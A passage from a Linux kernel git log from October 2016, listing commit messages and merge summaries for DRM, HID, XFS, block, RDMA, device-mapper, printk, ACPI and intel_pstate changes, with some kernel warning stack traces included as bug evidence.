Chris Wilson Cc: Daniel Vetter Cc: stable@vger.kernel.org Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161005174056.29869-1-chris@chris-wilson.co.uk drivers/gpu/drm/drm_prime.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit fdd8326a016a70f0ec96f5bb3011a5183961df2e Author: Marek Vasut Date: Wed Oct 5 16:31:33 2016 +0200 drm/bridge: Drop drm_connector_unregister and call drm_connector_cleanup directly Drop unneeded drm_connector_unregister() and remove the unnecessary wrapper functions around drm_connector_cleanup(). Signed-off-by: Marek Vasut Cc: Daniel Vetter Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161005143133.5549-1-marex@denx.de drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 9 +-------- drivers/gpu/drm/bridge/dw-hdmi.c | 8 +------- drivers/gpu/drm/bridge/tc358767.c | 8 +------- 3 files changed, 3 insertions(+), 22 deletions(-) commit 21bf75eca03c9da000cd7368c6e8eec7559debe5 Author: Stefan Christ Date: Wed Oct 5 20:34:14 2016 +0200 drm/fb-helper: fix sphinx markup for DRM_FB_HELPER_DEFAULT_OPS Fix invalid sphinx markup in the comment for the newly added DRM_FB_HELPER_DEFAULT_OPS. Signed-off-by: Stefan Christ Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475692454-11543-1-git-send-email-contact@stefanchrist.eu include/drm/drm_fb_helper.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4973ca9a01e2354b159acedec1b9b8eb8de02ab7 Author: Steinar H. Gunderson Date: Sun Oct 9 14:21:50 2016 +0200 HID: add quirk for Akai MIDImix. The Akai MIDImix (09e8:0031) is a MIDI fader controller that speaks regular MIDI and works well with Linux. However, initialization gets delayed due to reports timeout: [3643645.631124] hid-generic 0003:09E8:0031.0020: timeout initializing reports [3643645.632416] hid-generic 0003:09E8:0031.0020: hiddev0: USB HID v1.11 Device [AKAI MIDI Mix] on usb-0000:00:14.0-2/input0 Adding "usbhid.quirks=0x09e8:0x0031:0x20000000" on the kernel command line makes the issues go away. Signed-off-by: Steinar H. Gunderson Signed-off-by: Jiri Kosina drivers/hid/hid-ids.h | 3 +++ drivers/hid/usbhid/hid-quirks.c | 1 + 2 files changed, 4 insertions(+) commit 1bcaa05ebee115213e34f1806cc6a4f7a6175a88 Author: Ioan-Adrian Ratiu Date: Tue Sep 27 21:41:37 2016 +0300 Revert "HID: dragonrise: fix HID Descriptor for 0x0006 PID" This reverts commit 18339f59c3a6 ("HID: dragonrise: fix HID...") because it breaks certain dragonrise 0079:0006 gamepads. While it may fix a breakage caused by commit 79346d620e9d ("HID: input: force generic axis to be mapped to their user space axis"), it is probable that the manufacturer released different hardware with the same PID so this fix works for only a subset and breaks the other gamepads sharing the PID. What is needed is another more generic solution which fixes 79346d620e9d ("HID: input: force generic axis ...") breakage for this controller: we need to add an exception for this driver to make it keep the old behaviour previous to the initial breakage (this is done in patch 2 of this series). Signed-off-by: Ioan-Adrian Ratiu Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-dr.c | 58 ---------------------------------------------------- 1 file changed, 58 deletions(-) commit e15944099870f374ca7efc62f98cf23ba272ef43 Author: Ioan-Adrian Ratiu Date: Tue Sep 27 21:41:38 2016 +0300 HID: hid-dr: add input mapping for axis selection Commit 79346d620e9d ("HID: input: force generic axis to be mapped to their user space axis") made mapping generic axes to their userspace equivalents mandatory and some lower end gamepads which were depending on the previous behaviour suffered severe regressions because they were reusing axes and expecting hid-input to multiplex their map to the respective userspace axis by always searching for and using the next available axis. One solution is to add a hid quirk for this type of "previous" behaviour in hid-input to bypass the new axes policy in favour of the old one, but since only one hardware vendor seems to be affected negatively we're better off making and exception and mapping in the driver for now; if more vendors or drivers turn out to experience the problem we should reconsider the quirk solution. Signed-off-by: Ioan-Adrian Ratiu Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-dr.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit 3d1355b3cfad53feba76a73b052c757a7de7f4de Author: Heiner Kallweit Date: Mon Oct 3 21:21:42 2016 +0200 HID: hid-led: fix issue with transfer buffer not being dma capable The hid-led driver works fine under 4.8.0, however with the next kernel from today I get this: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 2578 at drivers/usb/core/hcd.c:1584 usb_hcd_map_urb_for_dma+0x373/0x550 [usbcore] transfer buffer not dma capable Modules linked in: hid_led(+) usbhid vfat fat ir_sony_decoder iwlmvm led_class mac80211 snd_hda_codec_realtek snd_hda_codec_generic x86_pkg_temp_thermal iwlwifi crc32c_intel snd_hda_codec_hdmi i2c_i801 i2c_smbus snd_hda_intel cfg80211 snd_hda_codec snd_hda_core snd_pcm r8169 snd_timer mei_me mii snd mei ir_lirc_codec lirc_dev nuvoton_cir rc_core btusb btintel bluetooth rfkill usb_storage efivarfs ipv6 ehci_pci ehci_hcd xhci_pci xhci_hcd usbcore usb_common ext4 jbd2 mbcache ahci libahci libata CPU: 0 PID: 2578 Comm: systemd-udevd Not tainted 4.8.0-rc8-next-20161003 #1 Hardware name: ZOTAC ZBOX-CI321NANO/ZBOX-CI321NANO, BIOS B246P105 06/01/2015 ffffc90003dbb7e0 ffffffff81280425 ffffc90003dbb830 0000000000000000 ffffc90003dbb820 ffffffff8105b086 0000063003dbb800 ffff88006f374480 0000000000000000 0000000000000000 0000000000000001 ffff880079544000 Call Trace: [] dump_stack+0x68/0x93 [] __warn+0xc6/0xe0 [] warn_slowpath_fmt+0x4a/0x50 [] usb_hcd_map_urb_for_dma+0x373/0x550 [usbcore] [] usb_hcd_submit_urb+0x316/0x9c0 [usbcore] [] ? rcu_read_lock_sched_held+0x40/0x80 [] ? module_assert_mutex_or_preempt+0x13/0x50 [] ? __module_address+0x27/0xf0 [] usb_submit_urb+0x2c4/0x520 [usbcore] [] usb_start_wait_urb+0x5a/0xe0 [usbcore] [] usb_control_msg+0xbc/0xf0 [usbcore] [] ? __module_address+0x27/0xf0 [] usbhid_raw_request+0xa4/0x180 [usbhid] [] hidled_recv+0x71/0xe0 [hid_led] [] thingm_init+0x2d/0x50 [hid_led] [] hidled_probe+0xcb/0x24a [hid_led] [] hid_device_probe+0xd2/0x150 [] driver_probe_device+0x1fd/0x2c0 [] __driver_attach+0x9a/0xa0 [] ? driver_probe_device+0x2c0/0x2c0 [] bus_for_each_dev+0x5d/0x90 [] driver_attach+0x19/0x20 [] bus_add_driver+0x11f/0x220 [] ? 0xffffffffa07ac000 [] driver_register+0x5b/0xd0 [] ? 0xffffffffa07ac000 [] __hid_register_driver+0x61/0xa0 [] hidled_driver_init+0x1e/0x20 [hid_led] [] do_one_initcall+0x38/0x150 [] ? rcu_read_lock_sched_held+0x40/0x80 [] ? kmem_cache_alloc_trace+0x1d0/0x230 [] do_init_module+0x5a/0x1cb [] load_module+0x1e42/0x2530 [] ? __symbol_put+0x50/0x50 [] ? show_coresize+0x30/0x30 [] ? kernel_read_file+0x100/0x190 [] ? kernel_read_file_from_fd+0x44/0x70 [] SYSC_finit_module+0xba/0xc0 [] SyS_finit_module+0x9/0x10 [] entry_SYSCALL_64_fastpath+0x18/0xad ---[ end trace c9e6ea27003ecf9e ]--- Fix this by using a kmalloc'ed buffer when calling hid_hw_raw_request. Signed-off-by: Heiner Kallweit Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-led.c | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) commit b89857852656f016328d2d7ccec5fff57445fa85 Merge: 9c704d1 8036617 Author: Dave Airlie Date: Mon Oct 10 16:40:16 2016 +1000 Merge branch 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-next Just some misc bug fixes for 4.9. * 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux: drm/amdgpu: revert "use more than 64KB fragment size if possible" drm/amdgpu: warn if dp aux is still attached on free drm/amdgpu/dce11: add missing drm_mode_config_cleanup call drm/amdgpu: also track late init state drm/amdgpu/virtual_dce: adjust config ifdef drm/amdgpu/vce: add support for hw config packet (v2) drm/amdgpu: clean up to set fw_offset as 0 twice drm/amdgpu: remove DRM_AMD_POWERPLAY drm/radeon: Prevent races on pre DCE4 between flip submission and completion. drm/radeon: Slightly more robust flip completion handling for < DCE-4 commit 9c704d14386dc1deeb695f2a180f9a00f23fa650 Merge: a74feb6 0546d68 Author: Dave Airlie Date: Mon Oct 10 16:36:16 2016 +1000 Merge tag 'topic/drm-misc-2016-10-05' of git://anongit.freedesktop.org/drm-intel into drm-next Another attempt, this time rebased and without the pipe crc patches: - display_info cleanups from Ville - make prime/gem lookups faster with rbtrees (Chris) - misc stuff all over * tag 'topic/drm-misc-2016-10-05' of git://anongit.freedesktop.org/drm-intel: drm/rockchip: analogix_dp: Refuse to enable PSR if panel doesn't support it drm/bridge: analogix_dp: Add analogix_dp_psr_supported drm/fb-helper: add DRM_FB_HELPER_DEFAULT_OPS for fb_ops drm: Document caveats around atomic event handling uapi: add missing install of sync_file.h drm: Simplify drm_printk to reduce object size quite a bit drm/i915: Account for sink max TMDS clock when checking the port clock drm/i915: Replace a bunch of connector->base.display_info with a local variable drm/edid: Move dvi_dual/max_tmds_clock parsing out from drm_edid_to_eld() drm/edid: Clear the old cea_rev when there's no CEA extension in the new EDID drm/edid: Reduce the number of times we parse the CEA extension block drm/edid: Don't pass around drm_display_info needlessly drm/edid: Move dvi_dual/max_tmds_clock to drm_display_info drm/edid: Make max_tmds_clock kHz instead of MHz drm/edid: Clear old dvi_dual/max_tmds_clock before parsing the new EDID drm/edid: Clear old audio latency values before parsing the new EDID drm: Convert prime dma-buf <-> handle to rbtree drm/mediatek: mark symbols static where possible drm/rockchip: mark symbols static where possible drm/rockchip: add missing header dependencies commit a74feb65a451105bb9aba6ea695b7068b0690046 Merge: c2cbc38 dfccd93 Author: Dave Airlie Date: Mon Oct 10 16:32:58 2016 +1000 Merge tag 'drm-vc4-next-2016-10-06' of https://github.com/anholt/linux into drm-next This pull request brings in several fixes for drm-next, mostly for HDMI. * tag 'drm-vc4-next-2016-10-06' of https://github.com/anholt/linux: drm/vc4: Add support for double-clocked modes. drm/vc4: Set up the AVI and SPD infoframes. drm/vc4: Fix support for interlaced modes on HDMI. drm/vc4: Increase timeout for HDMI_SCHEDULER_CONTROL changes. drm/vc4: Fall back to using an EDID probe in the absence of a GPIO. drm/vc4: Enable limited range RGB output on HDMI with CEA modes. drm/vc4: Fix races when the CS reads from render targets. drm/vc4: cleanup with list_first_entry_or_null() commit 6f97077ff6ef28e0f3b361b6ba9c95a222ef384b Author: Darrick J. Wong Date: Mon Oct 10 17:23:07 2016 +1100 xfs: rework refcount cow recovery error handling The error handling in xfs_refcount_recover_cow_leftovers is confused and can potentially leak memory, so rework it to release resources correctly on error. Signed-off-by: Darrick J. Wong Reported-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_refcount.c | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) commit 1987fd743415564e8c67f2f7ec0ae3c18a6b11cd Author: Darrick J. Wong Date: Mon Oct 10 16:49:29 2016 +1100 xfs: clear reflink flag if setting realtime flag Since we can only turn on the rt flag if there are no data extents, we can safely turn off the reflink flag if the rt flag is being turned on. Signed-off-by: Darrick J. Wong Reported-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_ioctl.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9780643cde26406d324413ae5c51e772144533bc Author: Darrick J. Wong Date: Mon Oct 10 16:49:18 2016 +1100 xfs: fix error initialization Eric Sandeen reported a gcc complaint about uninitialized error variables, so fix that. Signed-off-by: Darrick J. Wong Reported-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 93fed47013b3c17318968cad0e81bd74196798c4 Author: Darrick J. Wong Date: Mon Oct 10 16:49:10 2016 +1100 xfs: fix label inaccuracies Since we don't unlock anything on the way out, change the label. Signed-off-by: Darrick J. Wong Reported-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_file.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 97a1b87ea7b2884fa9516c646385ca25475c4760 Author: Darrick J. Wong Date: Mon Oct 10 16:49:01 2016 +1100 xfs: remove isize check from unshare operation Now that fallocate has an explicit unshare flag again, let's try to remove the inode reflink flag whenever the user unshares any part of a file since checking is cheap compared to the CoW. Signed-off-by: Darrick J. Wong Reported-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit 024adf48702212b0af15c682a7ff9773e1e092d6 Author: Darrick J. Wong Date: Mon Oct 10 16:47:40 2016 +1100 xfs: reduce stack usage of _reflink_clear_inode_flag The loop in _reflink_clear_inode_flag isn't necessary since we jump out if any part of any extent is shared. Remove the loop and we no longer need two maps, so we can save some stack use. Signed-off-by: Darrick J. Wong Reported-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 40 ++++++++++++++++------------------------ 1 file changed, 16 insertions(+), 24 deletions(-) commit 63646fc58d666f149b85ccf470bfc1576a779d4c Author: Darrick J. Wong Date: Mon Oct 10 16:47:32 2016 +1100 xfs: check inode reflink flag before calling reflink functions There are a couple of places where we don't check the inode's reflink flag before calling into the reflink code. Fix those, and add some asserts so we don't make this mistake again. Signed-off-by: Darrick J. Wong Reported-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 4 ++-- fs/xfs/xfs_super.c | 12 +++++++----- 2 files changed, 9 insertions(+), 7 deletions(-) commit 56fe8b6f499167e3f9e0aafc0909efe9fb673323 Author: Maxime Ripard Date: Fri Sep 30 16:37:06 2016 +0200 drm/bridge: Add RGB to VGA bridge support Some boards have an entirely passive RGB to VGA bridge, based on DACs implemented by resistor ladders. Those might or might not have an i2c bus routed to the VGA connector in order to access the screen EDIDs. Add a bridge that doesn't do anything but expose the modes available on the screen, either based on the EDIDs if available, or based on the XGA standards. Acked-by: Rob Herring Reviewed-by: Sean Paul Tested-by: Laurent Pinchart Signed-off-by: Maxime Ripard Signed-off-by: Archit Taneja Link: http://patchwork.freedesktop.org/patch/msgid/20160930143709.1388-3-maxime.ripard@free-electrons.com .../bindings/display/bridge/dumb-vga-dac.txt | 48 +++++ drivers/gpu/drm/bridge/Kconfig | 7 + drivers/gpu/drm/bridge/Makefile | 1 + drivers/gpu/drm/bridge/dumb-vga-dac.c | 223 +++++++++++++++++++++ 4 files changed, 279 insertions(+) commit c3afafa47898e34eb49828ec4ac92bcdc81c8f0c Merge: f97581c 80da44c Author: Herbert Xu Date: Mon Oct 10 11:19:47 2016 +0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6 Merge the crypto tree to pull in vmx ghash fix. commit 24532f768121b07b16178ffb40442ece43365cbd Merge: 12e3d3c 97a3286 Author: Linus Torvalds Date: Sun Oct 9 17:32:20 2016 -0700 Merge branch 'for-4.9/block-smp' of git://git.kernel.dk/linux-block Pull blk-mq CPU hotplug update from Jens Axboe: "This is the conversion of blk-mq to the new hotplug state machine" * 'for-4.9/block-smp' of git://git.kernel.dk/linux-block: blk-mq: fixup "Convert to new hotplug state machine" blk-mq: Convert to new hotplug state machine blk-mq/cpu-notif: Convert to new hotplug state machine commit 12e3d3cdd975fe986cc5c35f60b1467a8ec20b80 Merge: 48915c2 8ec2ef2 Author: Linus Torvalds Date: Sun Oct 9 17:29:33 2016 -0700 Merge branch 'for-4.9/block-irq' of git://git.kernel.dk/linux-block Pull blk-mq irq/cpu mapping updates from Jens Axboe: "This is the block-irq topic branch for 4.9-rc. It's mostly from Christoph, and it allows drivers to specify their own mappings, and more importantly, to share the blk-mq mappings with the IRQ affinity mappings. It's a good step towards making this work better out of the box" * 'for-4.9/block-irq' of git://git.kernel.dk/linux-block: blk_mq: linux/blk-mq.h does not include all the headers it depends on blk-mq: kill unused blk_mq_create_mq_map() blk-mq: get rid of the cpumask in struct blk_mq_tags nvme: remove the post_scan callout nvme: switch to use pci_alloc_irq_vectors blk-mq: provide a default queue mapping for PCI device blk-mq: allow the driver to pass in a queue mapping blk-mq: remove ->map_queue blk-mq: only allocate a single mq_map per tag_set blk-mq: don't redistribute hardware queues on a CPU hotplug event commit eab05ec38073f72389386f4a77fb58c06e246a4c Author: Eric Biggers Date: Wed Oct 5 10:33:16 2016 -0700 ACPI / EC: Fix unused function warning when CONFIG_PM_SLEEP=n Signed-off-by: Eric Biggers Signed-off-by: Rafael J. Wysocki drivers/acpi/ec.c | 2 ++ 1 file changed, 2 insertions(+) commit 84baf1725dc532d9746df2d216c1921154767109 Author: Srinivas Pandruvada Date: Tue Oct 4 13:51:40 2016 -0700 ACPI / fan: Fix error reading cur_state On some platforms with ACPI4 variable speed fan, reading cur_state from cooling device returns "invalid value" error. This confuses user space applications. This issue occurs as the current driver doesn't take account of "FineGrainControl" from _FIF(Fan Information). When the "FineGrainControl" is set, _FSL(FSL Set Level) takes argument as a percent, which doesn't have to match from any control value from _FPS(Fan Performance States). It is also possible that the Fan is not actually running at the requested speed returning a lower speed. On some platforms the BIOS is setting fan speed to a level during boot, which will not have an exact match to _FPS control values. The current implementation will treat this level as invalid value. The simple change is to atleast return state corresponding to a maximum control value in the _FPS compared to the current level. Signed-off-by: Srinivas Pandruvada Signed-off-by: Rafael J. Wysocki drivers/acpi/fan.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 48915c2cbc77eceec2005afb695ac658fede4e0d Merge: b9044ac 8ff232c Author: Linus Torvalds Date: Sun Oct 9 17:16:18 2016 -0700 Merge tag 'dm-4.9-changes' of git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm Pull device mapper updates from Mike Snitzer: - various fixes and cleanups for request-based DM core - add support for delaying the requeue of requests; used by DM multipath when all paths have failed and 'queue_if_no_path' is enabled - DM cache improvements to speedup the loading metadata and the writing of the hint array - fix potential for a dm-crypt crash on device teardown - remove dm_bufio_cond_resched() and just using cond_resched() - change DM multipath to return a reservation conflict error immediately; rather than failing the path and retrying (potentially indefinitely) * tag 'dm-4.9-changes' of git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm: (24 commits) dm mpath: always return reservation conflict without failing over dm bufio: remove dm_bufio_cond_resched() dm crypt: fix crash on exit dm cache metadata: switch to using the new cursor api for loading metadata dm array: introduce cursor api dm btree: introduce cursor api dm cache policy smq: distribute entries to random levels when switching to smq dm cache: speed up writing of the hint array dm array: add dm_array_new() dm mpath: delay the requeue of blk-mq requests while all paths down dm mpath: use dm_mq_kick_requeue_list() dm rq: introduce dm_mq_kick_requeue_list() dm rq: reduce arguments passed to map_request() and dm_requeue_original_request() dm rq: add DM_MAPIO_DELAY_REQUEUE to delay requeue of blk-mq requests dm: convert wait loops to use autoremove_wake_function() dm: use signal_pending_state() in dm_wait_for_completion() dm: rename task state function arguments dm: add two lockdep_assert_held() statements dm rq: simplify dm_old_stop_queue() dm mpath: check if path's request_queue is dying in activate_path() ... commit b9044ac8292fc94bee33f6f08acaed3ac55f0c75 Merge: 1fde76f 2937f37 Author: Linus Torvalds Date: Sun Oct 9 17:04:33 2016 -0700 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma Pull main rdma updates from Doug Ledford: "This is the main pull request for the rdma stack this release. The code has been through 0day and I had it tagged for linux-next testing for a couple days. Summary: - updates to mlx5 - updates to mlx4 (two conflicts, both minor and easily resolved) - updates to iw_cxgb4 (one conflict, not so obvious to resolve, proper resolution is to keep the code in cxgb4_main.c as it is in Linus' tree as attach_uld was refactored and moved into cxgb4_uld.c) - improvements to uAPI (moved vendor specific API elements to uAPI area) - add hns-roce driver and hns and hns-roce ACPI reset support - conversion of all rdma code away from deprecated create_singlethread_workqueue - security improvement: remove unsafe ib_get_dma_mr (breaks lustre in staging)" * tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma: (75 commits) staging/lustre: Disable InfiniBand support iw_cxgb4: add fast-path for small REG_MR operations cxgb4: advertise support for FR_NSMR_TPTE_WR IB/core: correctly handle rdma_rw_init_mrs() failure IB/srp: Fix infinite loop when FMR sg[0].offset != 0 IB/srp: Remove an unused argument IB/core: Improve ib_map_mr_sg() documentation IB/mlx4: Fix possible vl/sl field mismatch in LRH header in QP1 packets IB/mthca: Move user vendor structures IB/nes: Move user vendor structures IB/ocrdma: Move user vendor structures IB/mlx4: Move user vendor structures IB/cxgb4: Move user vendor structures IB/cxgb3: Move user vendor structures IB/mlx5: Move and decouple user vendor structures IB/{core,hw}: Add constant for node_desc ipoib: Make ipoib_warn ratelimited IB/mlx4/alias_GUID: Remove deprecated create_singlethread_workqueue IB/ipoib_verbs: Remove deprecated create_singlethread_workqueue IB/ipoib: Remove deprecated create_singlethread_workqueue ... commit 1fde76f173e4d9aa205432c2ed5eff978d00deee Merge: b66484c e404f94 Author: Linus Torvalds Date: Sun Oct 9 16:30:03 2016 -0700 Merge tag 'for-linus-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma Pull more rdma updates from Doug Ledford: "Minor updates for rxe driver" [ Starting to do merge window pulls again - the current -git tree does appear to have some netfilter use-after-free issues, but I've sent off the report to the proper channels, and I don't want to delay merge window activity any more ] * tag 'for-linus-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dledford/rdma: IB/rxe: improved debug prints & code cleanup rdma_rxe: Ensure rdma_rxe init occurs at correct time IB/rxe: Properly honor max IRD value for rd/atomic. IB/{rxe,core,rdmavt}: Fix kernel crash for reg MR IB/rxe: Fix sending out loopback packet on netdev interface. IB/rxe: Avoid scheduling tasklet for userspace QP commit bfd8d3f23b51018388be0411ccbc2d56277fe294 Author: Linus Torvalds Date: Sun Oct 9 12:16:57 2016 -0700 printk: make reading the kernel log flush pending lines That will mean that any possible subsequent continuation will now be broken up onto a line of its own (since reading the log has finalized the beginning og the line), but if user space has activated system logging (or if there's a kernel message dump going on) that is the right thing to do. And now that we actually get the continuation flags _right_ for this all, the user space logger that is reading the kernel messages can actually see the continuation marker. Not that anybody seems to really bother with it (or care), but in theory user space can do its own message stitching. Signed-off-by: Linus Torvalds kernel/printk/printk.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 5e467652ffefb84b1159d5d8fda665c48e5fd840 Author: Linus Torvalds Date: Sun Oct 9 11:53:00 2016 -0700 printk: re-organize log_output() to be more legible Avoid some duplicate logic now that we can return early, and update the comments for the new LOG_CONT world order. This also stops the continuation flushing from just using random record flags for the flushing action, instead taking the flags from the proper original line and updating them as we add continuations to it. Signed-off-by: Linus Torvalds kernel/printk/printk.c | 62 ++++++++++++++++++++++---------------------------- 1 file changed, 27 insertions(+), 35 deletions(-) commit c362c7ff84634390b44cc1ae7808519596de162d Author: Linus Torvalds Date: Sat Oct 8 22:02:09 2016 -0700 printk: split out core logging code into helper function The code that actually decides how to log the message (whether to put it directly into the record log, whether to append it to an existing buffered log, or whether to start a new buffered log) is fairly non-obvious code in the middle of the vprintk_emit() function. Splitting that code up into a helper function makes it easier to understand, but perhaps more importantly also allows for the code to just return early out of the helper function once it has made the decision about where the new log content goes. Signed-off-by: Linus Torvalds kernel/printk/printk.c | 78 +++++++++++++++++++++++++------------------------- 1 file changed, 39 insertions(+), 39 deletions(-) commit 4bcc595ccd80decb4245096e3d1258989c50ed41 Author: Linus Torvalds Date: Sat Oct 8 20:32:40 2016 -0700 printk: reinstate KERN_CONT for printing continuation lines Long long ago the kernel log buffer was a buffered stream of bytes, very much like stdio in user space. It supported log levels by scanning the stream and noticing the log level markers at the beginning of each line, but if you wanted to print a partial line in multiple chunks, you just did multiple printk() calls, and it just automatically worked. Except when it didn't, and you had very confusing output when different lines got all mixed up with each other. Then you got fragment lines mixing with each other, or with non-fragment lines, because it was traditionally impossible to tell whether a printk() call was a continuation or not. To at least help clarify the issue of continuation lines, we added a KERN_CONT marker back in 2007 to mark continuation lines: 474925277671 ("printk: add KERN_CONT annotation"). That continuation marker was initially an empty string, and didn't actuall make any semantic difference. But it at least made it possible to annotate the source code, and have check-patch notice that a printk() didn't need or want a log level marker, because it was a continuation of a previous line. To avoid the ambiguity between a continuation line that had that KERN_CONT marker, and a printk with no level information at all, we then in 2009 made KERN_CONT be a real log level marker which meant that we could now reliably tell the difference between the two cases. 5fd29d6ccbc9 ("printk: clean up handling of log-levels and newlines") and we could take advantage of that to make sure we didn't mix up continuation lines with lines that just didn't have any loglevel at all. Then, in 2012, the kernel log buffer was changed to be a "record" based log, where each line was a record that has a loglevel and a timestamp. You can see the beginning of that conversion in commits e11fea92e13f ("kmsg: export printk records to the /dev/kmsg interface") 7ff9554bb578 ("printk: convert byte-buffer to variable-length record buffer") with a number of follow-up commits to fix some painful fallout from that conversion. Over all, it took a couple of months to sort out most of it. But the upside was that you could have concurrent readers (and writers) of the kernel log and not have lines with mixed output in them. And one particular pain-point for the record-based kernel logging was exactly the fragmentary lines that are generated in smaller chunks. In order to still log them as one recrod, the continuation lines need to be attached to the previous record properly. However the explicit continuation record marker that is actually useful for this exact case was actually removed in aroundm the same time by commit 61e99ab8e35a ("printk: remove the now unnecessary "C" annotation for KERN_CONT") due to the incorrect belief that KERN_CONT wasn't meaningful. The ambiguity between "is this a continuation line" or "is this a plain printk with no log level information" was reintroduced, and in fact became an even bigger pain point because there was now the whole record-level merging of kernel messages going on. This patch reinstates the KERN_CONT as a real non-empty string marker, so that the ambiguity is fixed once again. But it's not a plain revert of that original removal: in the four years since we made KERN_CONT an empty string again, not only has the format of the log level markers changed, we've also had some usage changes in this area. For example, some ACPI code seems to use KERN_CONT _together_ with a log level, and now uses both the KERN_CONT marker and (for example) a KERN_INFO marker to show that it's an informational continuation of a line. Which is actually not a bad idea - if the continuation line cannot be attached to its predecessor, without the log level information we don't know what log level to assign to it (and we traditionally just assigned it the default loglevel). So having both a log level and the KERN_CONT marker is not necessarily a bad idea, but it does mean that we need to actually iterate over potentially multiple markers, rather than just a single one. Also, since KERN_CONT was still conceptually needed, and encouraged, but didn't actually _do_ anything, we've also had the reverse problem: rather than having too many annotations it has too few, and there is bit rot with code that no longer marks the continuation lines with the KERN_CONT marker. So this patch not only re-instates the non-empty KERN_CONT marker, it also fixes up the cases of bit-rot I noticed in my own logs. There are probably other cases where KERN_CONT will be needed to be added, either because it is new code that never dealt with the need for KERN_CONT, or old code that has bitrotted without anybody noticing. That said, we should strive to avoid the need for KERN_CONT. It does result in real problems for logging, and should generally not be seen as a good feature. If we some day can get rid of the feature entirely, because nobody does any fragmented printk calls, that would be lovely. But until that point, let's at mark the code that relies on the hacky multi-fragment kernel printk's. Not only does it avoid the ambiguity, it also annotates code as "maybe this would be good to fix some day". (That said, particularly during single-threaded bootup, the downsides of KERN_CONT are very limited. Things get much hairier when you have multiple threads going on and user level reading and writing logs too). Signed-off-by: Linus Torvalds drivers/tty/vt/vt.c | 6 +++--- include/linux/kern_levels.h | 2 +- include/linux/printk.h | 1 + kernel/printk/printk.c | 29 ++++++++++++----------------- security/selinux/ss/policydb.c | 4 ++-- 5 files changed, 19 insertions(+), 23 deletions(-) commit f00593a4bdd22e0885db89df8ee8afcc6867994f Author: Rafael J. Wysocki Date: Fri Sep 30 03:13:34 2016 +0200 cpufreq: intel_pstate: Clarify comment in get_target_pstate_use_performance() Make the comment explaining the meaning of the perf_scaled variable in get_target_pstate_use_performance() more straightforward. Signed-off-by: Rafael J. Wysocki drivers/cpufreq/intel_pstate.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit f9f4872df6e1801572949f8a370c886122d4b6da Author: Srinivas Pandruvada Date: Sat Oct 8 12:42:38 2016 -0700 cpufreq: intel_pstate: Fix unsafe HWP MSR access This is a requirement that MSR MSR_PM_ENABLE must be set to 0x01 before reading MSR_HWP_CAPABILITIES on a given CPU. If cpufreq init() is scheduled on a CPU which is not same as policy->cpu or migrates to a different CPU before calling msr read for MSR_HWP_CAPABILITIES, it is possible that MSR_PM_ENABLE was not to set to 0x01 on that CPU. This will cause GP fault. So like other places in this path rdmsrl_on_cpu should be used instead of rdmsrl. Moreover the scope of MSR_HWP_CAPABILITIES is on per thread basis, so it should be read from the same CPU, for which MSR MSR_HWP_REQUEST is getting set. dmesg dump or warning: [ 22.014488] WARNING: CPU: 139 PID: 1 at arch/x86/mm/extable.c:50 ex_handler_rdmsr_unsafe+0x68/0x70 [ 22.014492] unchecked MSR access error: RDMSR from 0x771 [ 22.014493] Modules linked in: [ 22.014507] CPU: 139 PID: 1 Comm: swapper/0 Not tainted 4.7.5+ #1 ... ... [ 22.014516] Call Trace: [ 22.014542] [] dump_stack+0x63/0x82 [ 22.014558] [] __warn+0xcb/0xf0 [ 22.014561] [] warn_slowpath_fmt+0x4f/0x60 [ 22.014563] [] ex_handler_rdmsr_unsafe+0x68/0x70 [ 22.014564] [] fixup_exception+0x39/0x50 [ 22.014604] [] do_general_protection+0x80/0x150 [ 22.014610] [] general_protection+0x28/0x30 [ 22.014635] [] ? get_target_pstate_use_performance+0xb0/0xb0 [ 22.014642] [] ? native_read_msr+0x7/0x40 [ 22.014657] [] intel_pstate_hwp_set+0x23/0x130 [ 22.014660] [] intel_pstate_set_policy+0x1b6/0x340 [ 22.014662] [] 